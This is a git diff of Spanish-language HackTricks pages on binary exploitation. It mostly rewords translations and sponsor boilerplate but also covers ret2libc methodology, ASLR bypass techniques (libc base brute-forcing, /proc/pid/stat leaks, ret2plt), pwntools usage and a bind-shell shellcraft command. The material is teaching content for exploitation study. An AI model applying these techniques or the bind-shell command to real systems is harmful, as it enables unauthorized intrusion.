* **Sin** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y conociendo la versión de libc** cargada, la **dirección** de `system` y `/bin/sh` no cambiarán, por lo que es posible usarlos estáticamente.
|
||||
* Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), conociendo la libc y con el binario utilizando la función `system` es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (tendrás que descubrir esto).
|
||||
* Con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **pero sin** [**PIE**](../common-binary-protections-and-bypasses/pie/), conociendo la libc y con el binario utilizando la función `system` es posible **`ret` a la dirección de system en el GOT** con la dirección de `'/bin/sh'` en el parámetro (tendrás que descubrirlo).
|
||||
* Con [ASLR](../common-binary-protections-and-bypasses/aslr/) pero sin [PIE](../common-binary-protections-and-bypasses/pie/), conociendo la libc y **sin que el binario utilice el `system`**:
|
||||
* Usa [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver la dirección de `system` y llamarla.
|
||||
* **Evade** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) y calcula la dirección de `system` y `'/bin/sh'` en memoria.
|
||||
|
@ -109,7 +110,7 @@ Algo a tener en cuenta es que generalmente **solo una explotación de una vulner
|
|||
|
||||
#### A través de EBP/RBP
|
||||
|
||||
* [**Pivoteo de pila / EBP2Ret / Encadenamiento de EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controla el ESP para controlar RET a través del EBP almacenado en la pila.
|
||||
* [**Pivoteo de pila / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controla el ESP para controlar RET a través del EBP almacenado en la pila.
|
||||
* Útil para desbordamientos de pila **off-by-one**.
|
||||
* Útil como una forma alternativa de controlar EIP mientras se abusa de EIP para construir la carga útil en memoria y luego saltar a ella a través de EBP.
|
||||
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Herramientas de Explotación
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Metasploit
|
||||
```bash
|
||||
|
@ -142,13 +143,13 @@ Mientras se depura, GDB tendrá **direcciones ligeramente diferentes a las utili
|
|||
* `unset env LINES`
|
||||
* `unset env COLUMNS`
|
||||
* `set env _=<ruta>` _Coloca la ruta absoluta al binario_
|
||||
* Explota el binario usando la misma ruta absoluta
|
||||
* `PWD` y `OLDPWD` deben ser iguales al usar GDB y al explotar el binario
|
||||
* Explota el binario utilizando la misma ruta absoluta
|
||||
* `PWD` y `OLDPWD` deben ser iguales al utilizar GDB y al explotar el binario
|
||||
|
||||
#### Rastrear para encontrar funciones llamadas
|
||||
|
||||
Cuando tienes un **binario enlazado estáticamente**, todas las funciones pertenecerán al binario (y no a bibliotecas externas). En este caso, será difícil **identificar el flujo que sigue el binario para, por ejemplo, solicitar entrada de usuario**.\
|
||||
Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te pida una entrada. Luego, detenlo con **CTRL+C** y usa el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
|
||||
Puedes identificar fácilmente este flujo **ejecutando** el binario con **gdb** hasta que se te solicite la entrada. Luego, detenlo con **CTRL+C** y utiliza el comando **`bt`** (**backtrace**) para ver las funciones llamadas:
|
||||
```
|
||||
gef➤ bt
|
||||
#0 0x00000000004498ae in ?? ()
|
||||
|
@ -199,13 +200,13 @@ Obtener cada opcode ejecutado en el programa.
|
|||
\-D -s -j .plt --> sección **plt** **descompilada**\
|
||||
**-TR** --> **Relocalizaciones**\
|
||||
**ojdump -t --dynamic-relo ./exec | grep puts** --> Dirección de "puts" a modificar en GOT\
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Dirección de una variable estática (estas se almacenan en la sección DATA).
|
||||
**objdump -D ./exec | grep "VAR\_NAME"** --> Dirección de una variable estática (almacenadas en la sección DATA).
|
||||
|
||||
## Volcados de núcleo
|
||||
|
||||
1. Ejecutar `ulimit -c unlimited` antes de iniciar mi programa
|
||||
2. Ejecutar `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||||
3. sudo gdb --core=\<ruta/core> --quiet
|
||||
3. sudo gdb --core=\<path/core> --quiet
|
||||
|
||||
## Más
|
||||
|
||||
|
@ -226,24 +227,25 @@ Obtener cada opcode ejecutado en el programa.
|
|||
|
||||
### Depuración en Linux remoto
|
||||
|
||||
Dentro de la carpeta de IDA puedes encontrar binarios que se pueden utilizar para depurar un binario dentro de un sistema Linux. Para hacerlo, mueve el binario `linux_server` o `linux_server64` dentro del servidor Linux y ejecútalo dentro de la carpeta que contiene el binario:
|
||||
Dentro de la carpeta de IDA puedes encontrar binarios que se pueden utilizar para depurar un binario en un sistema Linux. Para hacerlo, mueve el binario `linux_server` o `linux_server64` dentro del servidor Linux y ejecútalo dentro de la carpeta que contiene el binario:
|
||||
```
|
||||
./linux_server64 -Ppass
|
||||
```
|
||||
Luego, configura el depurador: Depurador (remoto de Linux) --> Opciones de proceso...:
|
||||
Luego, configura el depurador: Depurador (remoto de Linux) --> Opciones del proceso...:
|
||||
|
||||
![](<../../../.gitbook/assets/image (858).png>)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Herramientas Pwn
|
||||
# PwnTools
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
|
@ -25,10 +26,10 @@ pwn asm -i <filepath>
|
|||
```
|
||||
**Puede seleccionar:**
|
||||
|
||||
* tipo de salida (crudo, hex, cadena, elf)
|
||||
* contexto de archivo de salida (16,32,64,linux,windows...)
|
||||
* tipo de salida (raw, hex, string, elf)
|
||||
* contexto del archivo de salida (16, 32, 64, linux, windows...)
|
||||
* evitar bytes (saltos de línea, nulos, una lista)
|
||||
* seleccionar codificador de depuración de shellcode usando gdb para ejecutar la salida
|
||||
* seleccionar el depurador del codificador de shellcode usando gdb para ejecutar la salida
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
|
@ -47,7 +48,7 @@ pwn cyclic -l faad
|
|||
```
|
||||
**Puede seleccionar:**
|
||||
|
||||
* El alfabeto utilizado (caracteres en minúscula de forma predeterminada)
|
||||
* El alfabeto utilizado (caracteres en minúscula por defecto)
|
||||
* Longitud del patrón único (por defecto 4)
|
||||
* Contexto (16,32,64,linux,windows...)
|
||||
* Tomar el desplazamiento (-l)
|
||||
|
@ -124,7 +125,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||
|
||||
* shellcode y argumentos para el shellcode
|
||||
* Archivo de salida
|
||||
* formato de salida
|
||||
* Formato de salida
|
||||
* depurar (adjuntar dbg al shellcode)
|
||||
* antes (trampa de depuración antes del código)
|
||||
* después
|
||||
|
@ -137,7 +138,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
|||
|
||||
## Plantilla Pwn
|
||||
|
||||
Obtener una plantilla en python
|
||||
Obtener una plantilla en Python
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
|
@ -155,16 +156,17 @@ Para actualizar pwntools
|
|||
```
|
||||
pwn update
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Protecciones y Saltos Comunes en la Explotación Binaria
|
||||
# Protecciones y Bypasses Comunes en la Explotación de Binarios
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Habilitar Archivos Core
|
||||
|
||||
|
@ -38,16 +39,17 @@ gdb /path/to/executable /path/to/core_file
|
|||
```
|
||||
Este comando carga el ejecutable y el archivo core en GDB, lo que te permite inspeccionar el estado del programa en el momento del fallo. Puedes usar comandos de GDB para explorar la pila, examinar variables y entender la causa del fallo.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,30 @@
|
|||
# ASLR
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipo Rojo AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
**La Randomización del Diseño del Espacio de Direcciones (ASLR, por sus siglas en inglés)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de las aplicaciones. Al hacerlo, se vuelve significativamente más difícil para un atacante predecir la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, especialmente los desbordamientos de búfer.
|
||||
**La Randomización del Diseño del Espacio de Direcciones (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de las aplicaciones. Al hacerlo, se vuelve significativamente más difícil para un atacante predecir la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, especialmente los desbordamientos de búfer.
|
||||
|
||||
### **Verificar el Estado de ASLR**
|
||||
|
||||
Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo **`/proc/sys/kernel/randomize_va_space`**. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
|
||||
|
||||
* **0**: Sin aleatorización. Todo es estático.
|
||||
* **1**: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO se aleatorizan.
|
||||
* **1**: Aleatorización conservadora. Se aleatorizan las bibliotecas compartidas, la pila, mmap(), la página VDSO.
|
||||
* **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` se aleatoriza.
|
||||
|
||||
Puedes verificar el estado de ASLR con el siguiente comando:
|
||||
|
@ -41,9 +42,9 @@ También puedes desactivar ASLR para una ejecución con:
|
|||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Activando ASLR**
|
||||
### **Habilitar ASLR**
|
||||
|
||||
Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Normalmente se requieren privilegios de root. La activación de la aleatorización completa se puede hacer con el siguiente comando:
|
||||
Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto suele requerir privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
@ -59,7 +60,7 @@ Después de editar `/etc/sysctl.conf`, aplica los cambios con:
|
|||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Esto asegurará que tus ajustes de ASLR se mantengan en reinicios.
|
||||
Esto asegurará que la configuración de tu ASLR se mantenga en reinicios.
|
||||
|
||||
## **Bypasses**
|
||||
|
||||
|
@ -67,9 +68,9 @@ Esto asegurará que tus ajustes de ASLR se mantengan en reinicios.
|
|||
|
||||
PaX divide el espacio de direcciones del proceso en **3 grupos**:
|
||||
|
||||
* **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
|
||||
* **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamados `delta_mmap`.
|
||||
* **La pila** —> **24 bits**, referidos como `delta_stack`. Sin embargo, efectivamente utiliza **11 bits** (desde el byte 10 al 20 inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones reales de pila**.
|
||||
* **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente en cada proceso y se suma a las direcciones iniciales.
|
||||
* **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamado `delta_mmap`.
|
||||
* **La pila** —> **24 bits**, referido como `delta_stack`. Sin embargo, efectivamente utiliza **11 bits** (desde el byte 10 al 20 inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones reales de pila**.
|
||||
|
||||
Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR intentando la ejecución una y otra vez hasta que el exploit se complete con éxito.
|
||||
|
||||
|
@ -81,7 +82,7 @@ Los datos anteriores son para sistemas de 32 bits y la entropía final reducida
|
|||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Si estás atacando un servidor remoto, podrías intentar **hacer fuerza bruta en la dirección de la función `usleep` de la `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10 segundos adicionales en responder**, encontraste la dirección de esta función.
|
||||
* Si estás atacando un servidor remoto, podrías intentar **hacer fuerza bruta en la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10 segundos adicionales en responder**, encontraste la dirección de esta función.
|
||||
|
||||
{% hint style="success" %}
|
||||
En sistemas de 64 bits, la entropía es mucho mayor y esto no debería ser posible.
|
||||
|
@ -167,7 +168,7 @@ El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y *
|
|||
- **arg\_start** y **arg\_end**: Direcciones arriba y abajo donde están los **argumentos de la línea de comandos**
|
||||
- **env\_start** y **env\_end**: Direcciones arriba y abajo donde están las **variables de entorno**
|
||||
|
||||
Por lo tanto, si el atacante está en la misma computadora que el binario que está siendo explotado y este binario no espera el desbordamiento de argumentos sin procesar, sino de una **entrada diferente que puede ser creada después de leer este archivo**. Es posible para un atacante **obtener algunas direcciones de este archivo y construir desplazamientos a partir de ellas para el exploit**.
|
||||
Por lo tanto, si el atacante está en la misma computadora que el binario que está siendo explotado y este binario no espera el desbordamiento de argumentos sin procesar, sino de una **entrada diferente que se puede crear después de leer este archivo**. Es posible para un atacante **obtener algunas direcciones de este archivo y construir desplazamientos a partir de ellas para el exploit**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Para más información sobre este archivo, consulta [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) buscando `/proc/pid/stat`
|
||||
|
@ -204,7 +205,7 @@ p.interactive()
|
|||
```
|
||||
* **ret2plt**
|
||||
|
||||
Abusar de un desbordamiento de búfer sería posible explotar un **ret2plt** para exfiltrar la dirección de una función de la libc. Verifica:
|
||||
Aprovechando un desbordamiento de búfer, sería posible explotar un **ret2plt** para extraer la dirección de una función de la libc. Verifique:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt.md)
|
||||
|
@ -212,7 +213,7 @@ Abusar de un desbordamiento de búfer sería posible explotar un **ret2plt** par
|
|||
|
||||
